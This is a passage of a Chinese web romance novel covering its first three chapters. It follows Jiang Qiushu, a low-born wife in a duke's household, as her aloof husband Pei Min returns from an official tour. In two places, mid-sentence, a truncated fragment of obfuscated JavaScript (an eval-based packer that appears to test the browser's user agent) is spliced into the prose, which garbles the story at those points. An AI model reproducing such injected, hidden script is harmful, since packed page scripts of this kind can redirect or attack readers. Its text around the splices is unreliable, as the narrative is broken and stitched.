《被迫嫁给古板老男人后》 1. 第 1 章 乍暖还寒,又一场春雨,天未晓色,定国公府的婢女自外院往内院的方向,一盏一盏地查看着屋檐下的灯笼,换下已经燃烧殆尽的蜡烛。 锦绣推开窗,凉风吹起阵香风,湿气往面上扑,她只捡了薄纱披上,提了灯笼,出了房门。 刚走过了抄手游廊,一道身影便迎面撞了上来,好在错开及时,没有受伤,只不过盆中的水荡了不少出去。 锦瑟惊魂未定,理了理衣服,瞧向锦绣没好气,声音责骂,“着急忙慌是要去投胎啊!娘子将要醒了,不前去伺候,在此偷甚懒……” 锦绣来不及听锦瑟说完话,迅速地跑开了。 独留锦瑟气地跺脚,愤恨地盯着锦绣的身影,直到身旁的婢女提醒,才连忙往房间去。 玉珩院正房外,锦瑟只立了片刻,就开始敲房门。 身侧的婢女眼瞧着时辰还未到,可见锦瑟提前唤醒里面的人,也不敢说些什么,只随着人流一同入了房间。 抬头便是一扇檀木屏风,环顾四周除开窗边的香几和一张美人榻,和最里面空荡荡的架子,便无旁的摆设。 对于定国公府来说,这样的屋子称得上简陋。 婢女鼻子动了动,屋子里香气淡淡,沁人心脾,叫人心也跟着静了几分。 “娘子,可要起了。”锦瑟的声音在空旷的房间里格外的响,风吹过,床幔的纱帐起了涟漪,掀起一角,婢女视线望了过去。 扉颜腻理,嘴唇殷红未上口脂,却盛若牡丹,鼻梁小巧却又挺拔,远山黛下的眼眸在此刻睁开了,带着几丝困倦和初醒时的水雾,盈盈春水。 极淡的咳嗽声响起,女子柔荑撩起纱帐,皓腕白皙寝衣上翻,露出更为娇嫩的肌肤。 姜秋姝走到桌前,倒了杯茶水润喉,柔声道:“锦绣呢?” 锦瑟抿了抿唇,将锦绣的冒失说了出来,言语中尽是对锦绣的不满,临到了了,锦瑟苦口婆心,“娘子,底下人太放肆,奴婢怕旁人议论咱们玉珩院不讲礼数。” 锦瑟侧眸去看姜秋姝的神色,只瞧她面色沉静,丝毫也未将此事放在心上的模样。 锦瑟急忙又道:“如今五郎不在府中,奴婢是怕那些不规矩的,冲撞了府中贵人,连累了五郎名声。” 姜秋姝侧眸扫视了下,眉眼中带着倦色,“休要多言。” 大清早的,耳侧的杂音,叫人不得安宁。 她瞧了眼侧面,伺候的婢女赶紧递了帕子,温热的手绢贴在脸上,耳侧的杂音跟着消失,人清醒许多。 锦瑟噤了声,可到底还是不甘心,“娘子如今是不听劝,等真的糟了事儿,可别连累到奴婢们!” 话毕,锦瑟也意识到了语气过冲,瞧了姜秋姝眼,心中却也一点儿也不惧怕,她是玉珩院的老人了,就算是娘子也无权处置她。 姜秋姝靠在椅子上休憩,只觉得耳侧的鸣声再度响起,她疲倦的揉了揉眉心,身体莫名的寒意阵阵。 凉风透过窗户,吹落了书案上的纸张,屋子里忽然寂静,没有丝声音。 气氛一时间凝滞,关嬷嬷连忙拉住了锦瑟告罪,“娘子,锦瑟是个心直口快的,到底也是担忧您。” 关嬷嬷是五郎的乳母,伺候五郎的时间比她的年龄都大,按理说是该给些面子的,可她今日却无平日的耐心。 她睁开双眸,一向柔和的眼睛,带着自心底升起来不耐烦,“是担忧?还是旁的,我心中自有计较。你是五郎身边的老人,我自不会越俎代庖,只不过往后莫来我跟前儿了。” 一下子说了这么多话,姜秋姝升起股反胃的感觉。 锦瑟努了努嘴,很是不服,果然是市井女,半点儿世家女子的气量都没有,娶了个这般破落户,真是替五郎委屈。 旁的婢女被主母这般说了通,定然诚惶诚恐,可锦瑟却晓得这国公府真正做主的是谁。 “娘子。”也是这时,锦绣抱了盆花,跑了进来,她喜气满面,未察觉到室内的异样。 “您瞧,长花苞了,”她举着花盆到了姜秋姝面前,“昨儿下了雨,奴婢还怕这花儿被浇坏了根儿,如今枝叶舒张,长势喜人。” 这洛阳红是娘子最珍爱的东西,她不敢有半点儿的疏忽。 姜秋姝摸了摸叶片,手指轻点了下花苞,愉悦由内而外,这盆洛阳红她养了多年,珍惜爱护,可从未长出过花苞,嫁进府中不足一年,花也要开了。 许是…嫁给他,带来了好运。 她精神也比方才好了许多,瞧着锦绣穿着单薄,连忙催促她回了房间换衣裳。 锦瑟暗地里瞪了锦绣眼,原是去伺候盆花了,这般会讨好主子,谄媚小人的模样,她可学不来。 时辰不早了,今日是十五,需得去前院请安,姜秋姝只带了关嬷嬷和锦绣两人。 刚出了房门,关嬷嬷命人去了件披风亲自给姜秋姝披上,将将初春的时节,寒气时不时的凉人,不少人都穿着,倒也不引人注目。 姜秋姝眸子柔和,“嬷嬷周到。” 关嬷嬷提着灯笼快走了半步,笑道:“娘子可得注意身体,初春寒凉,若是染了病,五郎要心疼的。” 最后句带着些打趣的意味。 姜秋姝嘴角弧度逐渐的小了,揉捏着系带。 会吗? 定国公府,位于长安西大街,原是六进的大宅院,后子孙繁茂,又将周围好些个宅邸买了下来,修了夹道合成一府,说是六进,大大小小的院子足有上百个。 自玉珩院到前院,足足要走半个时辰,国公夫人嫌麻烦免了平时的请安,只每月初一十五来一趟便可。 天色微微亮,关嬷嬷吹灭了蜡烛,搀扶着姜秋姝入了院。 此刻前厅尚且没有多少人,台阶上正站着位小娘子,单梳高髻,戴着奢华的纯金戏蝶坠明月珠步摇,眉毛上挑,眼中略带着几分倨傲,当瞧见姜秋姝的身影后,她直接拦住了她。 “姜秋姝,好个没礼貌的,没瞧见我?” 此女正是定国公府孙辈,大房行二的裴秋月,多被称为二娘。 见了裴秋月,姜秋姝原不想理会,只忽视而过,谁能想到她主动找了上来。 两人间的恩怨,自她嫁入国公府便有了,都是些腌臜事! 姜秋姝眉宇轻拧,语气确实和缓的,“瞧见了,二娘是要向我请安?” 裴秋月拧着帕子,眼睛在她脸上扫了转儿,想起她如今是五叔的娘子,心头的气更是不上不下的憋着。 姜秋姝不咸不淡的瞥了她眼,见她没有要请安的意思,在锦绣的搀扶下,落坐在第五个位置上。 裴秋月还想要说些什么,关嬷嬷立刻拦住了她的身影,“二娘失礼了,我家娘子是您长辈。” 也是在这时,前院来了不少人。 定国公府共有五房,长子乃是太夫人嫡出,不过十多年前去世,独留下一子两女,其余四房皆是庶出,子子孙孙有二十多人,凑在一起儿将前院儿都给占满了。 裴秋月噤了声,也不好在此时再找姜秋姝的麻烦,规矩的向长辈请了安,回了位置。 几房的郎君瞧见了姜秋姝,却未说话直接落了座,他们对姜秋姝倒是没有旁的意见,不过被个比自己小上许多的弟弟,在权势上给压了去,到底是不虞。 姜秋姝眉宇微垂,站起身行了平辈礼。 几位妯娌唇角含笑,神态各异的还了礼,也跟着落了座。 四房夫人小周氏位置离姜秋姝近,她侧着身子问道:“那丫头又寻事儿了?” 姜秋姝浅笑嫣然的将话题给岔开了,这也不是什么体面的事儿,不值得提起。 四夫人见姜秋姝不肯多说,也不好再讨嫌,还正了身子,与旁的妯娌说起话来。 二十多人的声音自然小不了,姜秋姝闭目养神,身体也越发的疲惫起来。 昨夜雨大,天气又变化多端,应当是染了风寒。 紫檀祥云屏风后一群婢女鱼贯而入,姜秋姝听到响动,睁开双眸,打起精神来了。 定国公和太夫人相携而来时,众人立刻起身行礼,前院一时间声音整齐。 “请太公太夫人安。” 定国公耳顺的年纪,依旧老当益壮,精神气儿极好,一脸的严肃,叫人不敢多看,太夫人上了年岁却叫人瞧着更加的慈祥。 两位落坐,定国公沉声道:“不必多礼。” 众人才回了位置。 太夫人嘱咐各房夫人顾好子女,又特意瞧了孙辈的几位郎君和小娘子,最后落到了其中清风朗月,气质最是清正的郎君面前。 太夫人朝他招手,三郎君裴承立刻起身去了她面前。 “平日顾好自己,虽然开了春,天气却多变,不可贪凉。”太夫人细细嘱咐着,又命奴仆细心照料。 裴承耐心的听着,眉宇舒展,时不时附和几句。 太夫人更加满意了,这是她亲儿留下的孩子,也是她最为心疼的孙儿,旁人都比不上。 待入了朝,必定给他娶个好妻子,将定国公府的血脉延续下去。 二房三房和四房的人视线多停留在了裴承身上,又转移视线,端起若无其事的模样。 事过半,太夫人将每房都顾及到了,最后将话题说到了五房。 看了姜秋姝眼,语气和缓,“五郎要回来了,再外三月定是劳累,玉珩院伺候的人可不得马虎。” 姜秋姝连忙称是,神色却怔然。 他,要回来了? 众人听闻这消息,又多把目光停留在了姜秋姝身上,说着恭贺的话。 夫婿在外三月,平日里怕是连封书信都不通,如今终于要回来了,可不得恭喜。 用早膳时,四夫人特意凑到了姜秋姝面前,“昨儿听夫君便说起五郎要回来了,弟妹怕是早就朝思暮念的盼着了,可我瞧见弟妹方才并无多少喜悦,可是有旁的事儿,可说与我听听。 也好开导开导你,年轻夫妻间都是需要磨合的,便是开头不合,过个几十年成了亲人,也能相敬如宾。” 五郎要回来了,最亲近的妻子,反倒是最后听闻这个消息,除开脸面伤的还有情谊。 关嬷嬷在一旁急了,这四夫人是个多事儿的,如今这番话不是在拱火,就是在火上浇油。 “四嫂误会了,不过是喜不自胜,”姜秋姝嫣然一笑,夹了块儿粔籹放在她前面的碟子中,“四嫂尝尝。” 四夫人看着碟子里的食物,这粔籹是用黏米油炸,裹了糖,最是粘牙。 这是想堵她的嘴呢! “我不过是好心提醒罢了,大家都是妯娌一家人,你嫁过来快一年了,如今尚还腹中空空,我刚嫁过来三月便怀了三娘子,你与五郎夫妻平常,若是连个子嗣都无,将你有你哭的那一日。” 她撇过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她轻声道:“一切凭五郎做主,儿媳不敢越举。” 太夫人也晓得她管不了老五的事儿,也没再多说什么,不过是临走时又问了问她的身体,送了些补药给她。 姜秋姝出来时,关嬷嬷和锦绣立刻应了过去。 “太夫人一向和善,今日留下娘子可是说了什么?”关嬷嬷瞧见姜秋姝神色不算好的模样,便问道。 姜秋姝摇头,初到定国公府都言太夫人性子慈善,多将人描作寺庙里的菩萨,她第一次见面请安时,太夫人也是和气,并未为难过她,即便是如今她时常到她跟前请安,太夫人也未曾落了她的脸面,可她还是觉得拘谨,叫人有种说不出的感受。 她摇头,“快些回去吧!” 身体越发的难受了,她头有些发昏。 关嬷嬷应是,一行人连忙往玉珩院的方向。这时,身后似有呼喊声。 “走那般快作甚?”裴秋月小跑到姜秋姝面前,胸口还在不停的起伏着。 看着她惨白的脸色,联想起早膳发生的事儿,裴秋月心中的揣测更是真了几分,也不枉她特意等在这里,想寻她的笑话。 “阿婆说五叔即将要回来了?你不会也是今日才知晓吧?” “哈哈哈姜秋姝,高枝儿不是那般好攀的,就算你得嫁高门又如何,还不是不被夫婿所喜!”裴秋月指着她,笑得捂住肚子。 姜秋姝觉得这噪音刺耳得很,比起方才前院二三十人更叫人难受,她眉心微蹙,心口郁气难发,“二侄女早已及笄,本是嫁娶的年纪,是不想嫁还是不能嫁?与其整日琢磨我与你五叔的事儿,不若好好想想拖到了如今,那赵士远还有没有娶你的心。” “你胡说!”于裴秋月而言,这三个字便如同戳中了她的死穴,尤其是被姜秋姝提起。 “胡说与否,二娘心知肚明,那赵士远将将高中,便能舍弃婚约,另攀高门,即使攀不上国公府,这偌大个洛阳,自然还有旁的世家可攀附。”姜秋姝只说起那男子的名,都觉得浑身不适,真是有够恶心人的。 裴秋月上前步,不信她所说,“如今你过的不顺,便觉着旁人也不顺?” 关嬷嬷挡在姜秋姝面前,含了替自家郎君解释的意思,“五郎至孝,自然是立刻将行踪禀告给太夫人,我家娘子与五郎夫妻恩爱心意相通,这些个小事儿他们未曾放在心上。 二娘是瞧娘子心地纯良,又最是温柔才敢对着长辈这般叫嚣。等五郎回来了,老妇将今日事禀告,五郎最是重礼,你这般不重长辈,定要重罚!” 裴秋月退了步,想起五叔平素的行事,愤恨的定在原地。 “娘子!”忽的惊叫声响起,锦绣瞧着姜秋姝身子逐渐滑落,想要将她抱住,可终究迟了步,眼瞧着她将要倒地,忽然一只手横过将人给抱起。 等嬷嬷婢女反应过来时,只见三郎君裴承抱着自家娘子疾步而行。 按理说小辈抱着长辈不符合礼仪,可眼下事急从权,况且如今一幕也并非是第一次。 娘子与五郎成婚时,还是三郎君代为亲迎的。 人命大于天,姜秋姝将要倒下时,他没来得及想,人便被他给扶住了,手不经意碰触到耳垂,灼热的温度连他都吓了跳,他边往玉珩院赶,又连忙命人速去请大夫。 刚入了玉珩院,他不晓得姜秋姝的房间是哪个,正迟疑着,一声沉稳的声音传来。 “把她给我。” 裴承转过身,瞧见柱头后面出现个人影儿,恭敬的垂首。 “五叔。” 2. 第 2 章 玉珩院寂静,裴珉刚到院子风尘仆仆,忆起今日是请安的日子,派人送了水去浴房,想洗漱后,再去前院拜见长辈,方不显失礼。 可刚要进房门,便瞧见自家三侄子抱着妻子匆忙地跑了进来。 他将姜秋姝从裴承怀中抱了过来,连忙往屋内而去。 裴承立在原地,里面的声音响起。 “还不快去寻大夫?” “三郎君已经派人去唤了。” 裴承望了屋子眼,此地也没他什么事儿了,正要离开,将在院门徘徊的裴秋月给提溜了过来。 “我真该从宫里给你请个嬷嬷,好好约束下你的性子。” 被兄长责备了番,原本脸上还挂着忧色,生怕被五叔惩罚的人,此刻直起身子,犟着性子道:“三哥也不喜她,为何还帮她?五叔那般的人物,洛阳惊艳绝伦学富五车。圣人还未定下太子便被封为太子太傅,虽是虚职可又任中书令,配的天下最好的女子,偏生就娶了她!” 即便今朝圣人提拔庶族,可世庶通婚仍是罕事,她姜秋姝还是个连商人都算不上的卖花女。 这才是裴秋月最不服气的地方,她都怕旁的人嗤笑他们定国公府。 裴承连忙打量了四周,瞧见没人,舒了口气。 “今日事儿你也有错,改明儿找个时间去五叔面前请罪。”裴承严肃的看着她。 “三哥!”裴秋月满是不愿,她才不愿意再姜秋姝面前落了下风,“与我何干,我又没有碰她!” 谁晓得是不是她装的。 “她既然嫁进来,便是咱们长辈,况且她嫁给五叔,难道没有你阴差阳错之故?!五叔未曾宣扬已经是格外开恩,此事由不得你拒绝。” 裴承眼中暗含警告。裴秋月立刻垂首,遮住眼底的慌色,点了点头。 “别的不说,你尚未成婚,莫要留下话柄累及名声。”裴承见幼妹这般模样,也不好再苛责。 自阿耶过世,大房也只有他们兄妹最亲。 虽然因为那件事儿狠狠的责罚了她,可到底还是心疼她的。 说起婚事,裴秋月扯着裴承的衣裳,“三哥,赵郎是真心待我的,我”。 裴承及时打断了他,眼神再次凌厉起来,“休要再提!” 裴秋月住了嘴,可心中的渴望却被无限放大,若是今生不能嫁得赵郎,怕是终身不得乐。 她盯着裴承严肃的姿态,视线飘忽。 她得想想法子…… 姜秋姝迷糊间,天青色入了眼,纱帐挡住了大半的视线,只在床边瞧见个模糊的身影。 “锦绣。”她轻声唤道。 床帐外影子走动,身量显现,很熟悉,她掀开帘子露出个小缝。 他走了过来,衣袂翻飞,袖口开阔若垂云,青色的大袖衫显得整个人如行云般飘逸,恍若避世的高人,俊若山间清月的脸见之不忘。 可当他挺拔地站立着,一举一动恍若拉尺子量过的规矩。 裴珉,定国府五郎。自幼养在太夫人膝下,最是恪瑾守礼,为人温良恭谦让,有君子之风。二十六的年纪,已经是中书令圣人近臣。 不过平素,众人多称为太傅,似乎只称其虚职,便不会反复提醒自己此人年纪虽轻,却坐到了他们无法企及的位置,叫人妒恨又羡慕。 “可好些了?”沉稳的声音,彻底唤醒了她,她将视线停留在他身上好半晌,才依靠着床榻坐了起来。 他神态平和,撇过来的视线略带着几分生疏,姜秋姝揉了下眼眸,又见他眼底的陌生转瞬,恍若方才不过是她的错觉。 她未动未言语,眸光细细打量着他,这几月他的事儿,她只从他递给长辈的家书中,得到过只言片语。 去年冬季,满地白雪皑皑,是周朝百年来头一回下那般大的雪,刚开春,圣人便派他去各州县巡视春种情况,以防今年农耕出现意外。 她不晓得他这一路过的如何,亦不晓得他在外又遭遇过哪些,只觉得他好是比之前瘦了些。 也许是她记错了,好几月了,她也忘记了他之前是何身形。 裴珉被盯了好一会儿,依旧站在床榻边,没有流露出半分的不耐,也没有展现出任何的不适,面色从容,似乎在等着姜秋姝的答话。 “好多了。”姜秋姝不晓得自己躺了多久,看着外边儿的天色应当也不早了,她下了床榻,单薄的寝衣很贴身,身姿妖娆,女子娇柔的体态活色生香。 裴珉未看一眼转过身去,捡起衣桁上的外袍,单手递给了她,“天亮,娘子本就染了风寒穿上。” 姜秋姝瞧他避嫌的姿态,接过衣裳时,指甲不经意间蹭过柔软的东西,速度有些快,也不晓得是不是错觉,又瞧见裴珉神色如常,便没当回事儿。 “劳烦夫君了。” 姜秋姝边穿着衣裳,便要朝外走,忽然听见纱帐边轻咳的声音,她立刻止步,晓得裴珉最重规矩,她初来乍到,不懂得世家大族礼仪,因此糟了不少的罪。 裴珉走了三月,没了约束,她难免懈怠了。 在里边儿穿好了衣裳走出来时,屋子里早没了裴珉的身影,她朝着院外望去,目光空落,最后静静地坐到了窗边的书案处。 锦绣端着茶水,小心的张望了下才敢进屋,瞧见只有姜秋姝一人,她走到了她身侧,替她整理着练好的书帖。 书案最上侧的书帖,字迹笔势连绵,似流水整个看上去又如仙露明珠,姜秋姝临摹的只有一两分的相似度,她的字只能算是规矩,不难看。 一年前,她尚且不识字,能到如今的程度,已经是她下过苦功夫。他只教了她一回执笔,许是她笨,他懒得管闲了,只派人送了书帖过来,叫她跟着练。 未嫁入府前,她哪有认字的权利,本就出生贫苦,幼时失父,约莫长成又失母,跌跌撞撞长至及笄,以为能与未婚夫婿成婚,有自己的家,却又遭遇良多。 嫁与裴珉后,得他垂怜教导良多,还特意请了先生教她学规矩,学字。 世人皆说她配不上他,她听了觉得刺耳,可事实都是教人难受的。越是因此,她跟着先生学的越是认真,生怕堕了裴珉的名声,怕自己行差踏错,成了笑柄。 这一年来,她学了许多,才有了如今的模样,至少不会如第一次陪着他出席宴会时,那般的丢人,可他却从未再带她出过门。 且此次巡查,带上家眷的不在少数,只他提都未曾提过。 姜秋姝执笔一刻,心绪还未安静,执笔二刻,望着窗外未见人影,执笔三刻将所练的纸张归纳整齐,独坐在红木椅上。 关嬷嬷端着药,她连忙走过去,“娘子生着病,该好好休息,练字也不差这么一时半会儿。”看着锦绣的目光明显的不赞同,“你也是,不好好劝劝娘子。” “嬷嬷别怪她,我若想做,她又如何拦得住。”姜秋姝替锦绣解释道。 锦绣神色感激的看着姜秋姝。 关嬷嬷无奈,只好将药递过去,“五郎叫我为娘子熬的,娘子此刻虽是不热了,但大夫说就怕晚上又热起来。今夜不若我来为娘子守夜。” 姜秋姝端着温热的药碗一饮而尽后问道:“五郎呢?” 就没瞧过娘子这般不怕苦的,旁的小娘子喝个药,身旁的人劝几轮,好说歹说的哄着才喝完,偏自家娘子爽快利索,似乎喝的不是苦药而是一碗白水。 关嬷嬷正感叹姜秋姝的速度,又见她问起五郎,关嬷嬷收着碗,垂头时掩了下神色,“五郎公务繁忙,如今在书房处理要务,娘子昏睡时五郎守了许久,您醒了才放心离去。” 若是真心担忧她,又何必添上最后一句,还要自小的乳母替他找补。 关嬷嬷临走时,又提起守夜的事。 姜秋姝忆起今日是十五,逢五,她捏着拳头,拒绝了关嬷嬷的提议。 “我昏倒时,好似瞧见个人影儿?”姜秋姝也记得不多,只是模糊间出现的是裴珉的脸。 “是三郎君,”锦绣道,“您可真是将奴婢吓坏了,好在三郎君来的及时接住您,摔伤就糟了。” 姜秋姝点头,是她想多了。真以为他回来的那般的及时。 世上哪有那么多的凑巧? “娘子,”锦绣声音不愤,“锦瑟被您罚出咱们房间后,晓得五郎回来了,千方百计想要舞到五郎面前,我方才瞧见她偷偷的给五郎身边的小厮塞钱。” 姜秋姝点头说晓得了。 瞧姜秋姝似乎无动于衷,锦绣染了急色,生怕锦瑟真的接近了五郎,说些什么污遭的话,污蔑人,小心提醒道:“娘子,锦瑟以前待五郎便十分的殷勤。” 姜秋姝摇头叫她不必理会,神色如平常。 用晚膳时,她特意命小厨房做了许多裴珉爱吃的东西,桌上餐食摆放整齐时,她等了会儿,他还未来,还以为他还在书房,便派人去请。 过了会儿,锦绣在八角门而过,她脸上的怒气在踏进房门的时候忍住了,只向姜秋姝禀告裴珉今日留在前院用膳。 姜秋姝颔首,坐在了椅子上,吃着东西。 应当的,在外数月刚回府,确实应当同家人用食。 锦绣最气的,并未是五郎不能同娘子一同用膳,分明五郎早就命人前来告知,那锦瑟偏说‘娘子说她日后不必到房间里伺候,怎能来禀告此事,自是不好在娘子面前来讨嫌了。’ 锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜秋姝坐在软榻上,听着屏风处传来的声响,她轻抚着小腹,眼神逐渐变得坚定。 裴珉出来了,粗使婆子们立刻换了浴房里的水,姜秋姝依旧坐在榻上,不敢往裴珉的方向看去,等婆子们整理完毕后,她走到衣柜处迟疑了会儿,最终还是选了件寝衣。 等她洗漱完毕,换上寝衣,脚步比起往常轻了不少,借着屏风呼了好几口气,才敢出现在裴珉的面前。 她抬头瞥着裴珉,只见他神色与往常一般无二,眼神大都放在手上的书册上,只留下一二分的目光看她。 “安寝吧!”裴珉放下书籍,朝着她道。 她点头,手揪着单薄寝衣的裙摆,躺在了床榻的最里侧。 裴珉没有立刻上榻,她略有几分疑惑,甚至似乎听见了窗户打开的声音,好一会儿窗户关上,身侧才躺下个人影。 扑面而来的凉意,叫姜秋姝不由得抓紧了被褥。 以往两人休息,身侧都是热的有些烫人,如今的冰凉,都快叫她以为,是自己隔得太久,忘记了。 今日她将他瞧了好一会儿,起先是因他眼中的生涩之意,后来是想瞧的清楚些。 三月对旁人而言不算久,对于他们这对刚新婚的人而言却是太久了。 原本已经熟稔的东西,此刻却好似将一切又回归于原点。 身边躺着的人也好陌生,姜秋姝胸口泛起细细的痒意,像是被什么咬了口。 “五郎。”她伸手想要抓住他,却被一只大手给按住了。 “今日逢五。”她嗓音有些轻,越到后面越轻。 “你身子还未好,”裴珉将她的手放回她的被褥中,“等你好了再说。” 被他这般直白的拒绝,姜秋姝那股痒更加深了,她摸着自己的小腹,有些期望,也加上今日太夫人说的那番话,“妾身已经好了。” 今日白日里发了热,午后才退去,怎可能那般容易好!裴珉没想到她这般的坚持,原本被风吹凉的身体,莫名泛着滚烫的热。 “是五郎定下的逢五,如今打破规矩,怎能叫人信服。”他们间本就少,若是连这点儿机会都不抓住,她何时才能有孕? 这种事儿本就是痛苦的,早早的有了身孕,便能少做。 何况,她曾听过个偏方,女子若身烫,可增加有孕的机会。 她心中的念头蠢蠢欲动,怎么也挡不住。 裴珉见她似乎睡不着,只得劝诫道:“修身养性为首要,世间欲不过是镜中花,切不可太贪。” 3. 第 3 章 为何要贪,本就是不快乐的事儿,便是裴珉敷衍她,也不该说谎话来。 她不过是想要孩子罢,不然怎会舍下脸面去碰触他? 姜秋姝合上双眸,被他训了顿什么心思也没了。 夜间,打更声起,三月的夜泛着凉,姜秋姝本一人独宿惯了,可当身旁有热源,不由自主的寻着去了,身躯靠在滚烫的怀中,无意识的嘤咛了声。 周身被热气笼罩,不一会儿她被热烘得迷迷糊糊,几乎是快要睡着的时候,身侧的被褥被掀开一角,她模糊的感觉到热源消失了,可困倦缠绕上来,入了梦乡。 清晨,她疲倦的睁开了双眼,身旁早已经冰冷。 关嬷嬷和锦绣进来时,她刚穿好衣服。 关嬷嬷端着水盆,瞧了眼她,又低下头,一副欲言又止的模样。 姜秋姝背对着关嬷嬷未曾瞧见,只掬起一捧水,打湿肌肤,又用绸布擦干净脸上的水,等洗漱完毕后,坐到了镜子前,由着关嬷嬷替她梳头。 “五郎在何处?” “五郎刚回府,还不大适应,半夜间离开了房间也是回了书房整理书卷,娘子您”。关嬷嬷尚未听清楚姜秋姝问的是什么,便将话全部吐露了出来,后来又反应过来,偷瞄中镜中人的神态。 姜秋姝原本取了束发丝在手中缠绕把玩着,听见关嬷嬷这么说,顿住了,发丝在指尖打着转儿,发尾弯曲。 她眉眼微低,双手放在膝前,又问了句,“五郎在何处?” 关嬷嬷连忙收回目光,声音比方才小了,“进宫面圣。” 她还说为何被褥忽然灌入了凉风,冷了阵,原是人早就不在了。 心头忽的升起密密麻麻的酸涩,她双手交叠,尽管心里难受,可面上却丝毫没有表露出来,嫁给他一年,她也学会了伪装。 原本就是个啥也不懂的民间女子,一步登天,锦衣华服的同时,也藏住了很多东西。 她安静的瞧着镜子中的自己,脸上的表情像是被戴上了面具,沉稳,平淡。 “叫小厨房炖好补品,五郎一路上辛苦了。”她朝着锦绣吩咐道。 关嬷嬷偷偷的看了眼姜秋姝,瞧见她并未有伤心的模样,松了口气。 昨夜并未再发热,姜秋姝今日身体舒畅了些,可到底有些懒洋洋的,比不得以前精神,用了早膳,她便依靠在窗边的小榻上休息。 三月风不燥,阳光都是暖洋洋的,这个窗户向外望去能够瞧出院口出大片尚未盛开的花圃。 这是裴珉离开时,她派人种下的,也是她第一次未曾询问过裴珉自己独自做下的。 原先不过是块空地,她想着用了也无甚,如今裴珉回来了,她忽然开始恐慌起来。 这些花虽不珍贵,可大都是她亲自在打理。 姜秋姝想了想,叫上锦绣去了小厨房。 小厨房的人听闻了要给五郎炖补品,已经开始忙碌起来。 “别加蜀椒,五郎不喜欢那个味道。”锦瑟双手叉腰,对着厨娘颐指气使,甚至有推开厨娘亲自下手的意思。 厨房里的人晓得锦瑟是玉珩院的老人,常在五郎和娘子身边伺候,自然是得罪不起。 大厨瞧着锦瑟插手自己的羹汤,气的吹胡子瞪眼,在身边人提醒下,也只得消了气。 姜秋姝来的时候,正好瞧见锦瑟将小厨房里的人吩咐的团团转,偏偏自个儿连阳春水都未沾过。 锦绣老远听见锦瑟的声音,气的鼓起双颊,尤其当走近瞧她仗势欺人,更是气的没法。 姜秋姝站在门口,眼神轻轻扫了眼屋子。 里面的人见状连忙行礼问安,姜秋姝只说了声‘起’,没理会众人直接走到了案板旁。 小厨房的人起来后,动作比起方才还要小心不少,原是没有什么的,可是此刻瞧见娘子就好似瞧见了五郎般。 以前娘子刚来小厨房,十分的谨慎,小巧的脸上有几分对四周的好奇,也只在给五郎做吃食时,脸上时常露着笑颜。 他们晓得娘子的出身,也并未因此有半点儿的不敬,与娘子在一处也觉得十分的亲切好相处,可逐渐的娘子周身的气势变了,时至今日叫人看了心生敬畏,总觉得五郎也在此的感觉。 锦瑟瞧着所有人的视线都追随姜秋姝,她起身瞥了一眼,不甘心的也跟了过去。 姜秋姝只打算简单的炖个鸡汤,大厨早将鸡处理好了,她命人将鸡放进砂锅中,只放了生姜去腥气。 一旁的锦瑟连忙道:“娘子,郎君不喜姜的气味儿。” 姜秋姝像是未听见,倒是做事的厨娘顿了顿,见姜秋姝没有说话,往砂锅中添了水,盖上盖子,将要炖煮起来。 锦瑟一下子急了,“郎君不喜欢,娘子怎可做强迫郎君的事儿。” 强迫?姜秋姝咀嚼着这两个字,嘴角挂起抹讥讽的笑,不过很快,几乎是一闪而过。 “烧火吧!”姜秋姝指了指炉子,立刻有婆子上前。 锦瑟抿着嘴唇,十指紧紧的攥着,始终无计可施,最后气冲冲出了小厨房。 她定然要将此事禀告给五郎,连五郎的喜好都不知,五郎定会厌弃了她。 姜秋姝头都未抬,只觉得周围的空气舒畅了些。 关嬷嬷和锦绣相互看了眼,觉得少了烦人精,心情都好了。 姜秋姝坐在锦绣寻来的小凳上,炉子昏黄的火光照在手掌上暖暖的。 初到定国公府,她很惧怕也不晓得该如何与那些高门妯娌相处,定国公府一切都是陌生的,叫她胆怯,只有比较熟悉的小厨房,能够叫她有片刻的喘息。 她便褪下锦衣,生怕弄脏了衣服,常做些吃食送给裴珉,次数多了,裴珉也查出了端倪,瞧她穿着粗布带着头巾做厨娘打扮,直言她身为五房夫人不可做出下人行径,旁人家的夫人虽也进出过厨房可也不过多是在一旁吩咐,少亲自动手,从未像她这般。 当时姜秋姝能够瞧见裴珉眼神中的冷漠与不耐的侧过身去,好像她那般的打扮他连见都不想见。 可那个样子才是她姜秋姝。 她想说清楚,也不晓得该说些什么。 手心的温热,是炉子旁边的余温,后来的她也渐渐的与那些夫人般锦衣华服,即便是亲自去小厨房也不过是做做样子,博个贤名。 可…幼时她最喜爱的便是同阿娘一同坐在火光前,柴火的烟火气儿虽然伴随着熏人的烟,可同样更是心头划过的阵阵温情。 砂锅咕噜噜的煮着,所有的思绪烦忧都被抛去。 直到汤炖好,厨娘将药舀了出来放在食盒里,锦绣提着食盒几人出了小厨房。 锦绣打听到裴珉已经回府了,此刻正在书房。 刚到门口,姜秋姝立在原地,等门口的小厮去禀告,听见里面传来声响,小厮侧身请她进去。 姜秋姝从锦绣手里接过食盒,视线从小厮身上划过。 犹记得当初刚嫁进来时,她唯一认识的便是裴珉,几乎想要时时瞧见他才能心安,可同样的她不晓得这些世家大族,即便是夫妇也并未一直住在一间屋子。 她寻不到裴珉,听到他在书房的消息便兴冲冲的跑了过去,那时他们是新婚,有了身体上最亲密的关系,他与她而言到底是不一样的,能让她在这宅院中得到些安宁。 可是刚到门口便被拦住了,她十分不解,他们不是夫妻嘛?为何不让她进去。 她听小厮说,需得禀告后才能进去。 她低着头,心像是沉在水里,浑身浸泡着凉意,即便有了最亲密的关系,他们间也隔着层,她不晓得那层东西是什么,看不见也摸不着,只将她和他隔得更远些。 后来琢磨通了些,应当的,他身居要职书房是重地,即便是她也不可擅自闯入。 关嬷嬷和锦绣都在门口等在,她提着食盒,房门被打开抬头便能瞧见一副万里山河图,高悬在墙壁上。 